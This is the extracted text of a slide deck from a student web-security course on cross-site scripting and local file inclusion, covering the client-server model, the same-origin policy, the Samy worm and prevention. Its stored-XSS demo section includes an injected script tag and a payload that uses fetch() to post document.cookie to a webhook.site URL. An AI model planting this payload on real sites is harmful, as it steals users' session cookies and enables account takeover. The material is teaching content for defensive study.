XSS and LFI
slides: no
Announcements
Cyber Academy Plan
Intro to web
Foundations of web hacking
Inject code into websites
Hacking databases and logins
Practice pentesting
XSS /
LFI
4
Bruinwalk Hacking
SQL Injection
3
6
7
Background Information
(some OWASP stats, importance, basic ideas/hook/teaser)
Review: Client-Server Model
Review: Client-Server Model
1
Review: Client-Server Model
1
2
Review: Client-Server Model
1
2
3
Review: Client-Server Model
1
2
3
4
Review: Client-Server Model
1
2
3
4
5
Some More Important Details…
Client-Server Model + Context
1
2
3
5
4
Client-Server Model + Context
1
2
3
0
4
5
Client-Server Model + Context
1
2
3a
0
4
5
3b
Web Review: Client-Server Model
(replace with graphic(s))
Web Review: Client-Server Model + Context
(replace with graphic(s))
Web Review: Cookies
Basics: Javascript
Website Functionality:
The Same-Origin Policy (SOP)
What is XSS (Cross-Site Scripting)?
Reflected vs. Stored XSS
Reflected:
Stored:
Reflected XSS
Stored XSS: Samy worm
DOM-Based XSS
Demo
Demo: Stored XSS attack on message board
upload message containing malicious xss payload
return updated malicious html page
Malicious User
Victim User
Server
(Stores Messages)
Time
request message board page
message board html
request message board page
malicious message board html
arbitrary javascript code execution in victim user’s browser
Demo: Stored XSS attack on message board
Demo: Stored XSS attack on message board
POST /upload?message=<script>attack()</script>&author=
<html>...<script>attack()</script>...</html>
Malicious User
Victim User
Server
(Stores Messages)
GET /
<html>...clean html code…</html>
GET /
<html>...<script>attack()</script>...</html>
arbitrary javascript code execution in victim user’s browser.
attack() can be replaced with any javascript code
Demo: Stored XSS attack on message board
Implications
Attack from demo
<script> fetch('https://webhook.site/<your _url>',
{method: 'POST', body: document.cookie});
</script>
Prevention
Preventing XSS is hard (true for most types of injection as well)
Example:
Filter
Counters
Prevention Part 2
patched filter
counter
Robust Filter
In general you shouldn’t write your own filter.
Most modern frameworks filter by default
A Quick Aside: CSRF
What an "Admin Bot" is
Local File Inclusion (LFI)
FILE
How can this be a vulnerability?
Simple ways to execute LFI
How can you test this vulnerability?
How to protect your web app?
WEB APP
LFI
XSS
US
A Sample Exploit
Samy
(some recent examples: zoom xss exploit, any of various browser exploits, etc)
https://thehackernews.com/2022/04/critical-lfi-vulnerability-reported-in.html
https://portswigger.net/daily-swig/zoom-whiteboard-patches-xss-bug
(samy? Edit: slightly went over in stored xss slide example as well)
Samy
Samy
MySpace Filters:
Other measures:
Samy
“In the interest of…interest”
Tricks to know:
More details here
Samy
When Samy’s XSS Myspace Post was viewed:
Results:
Try It Yourself!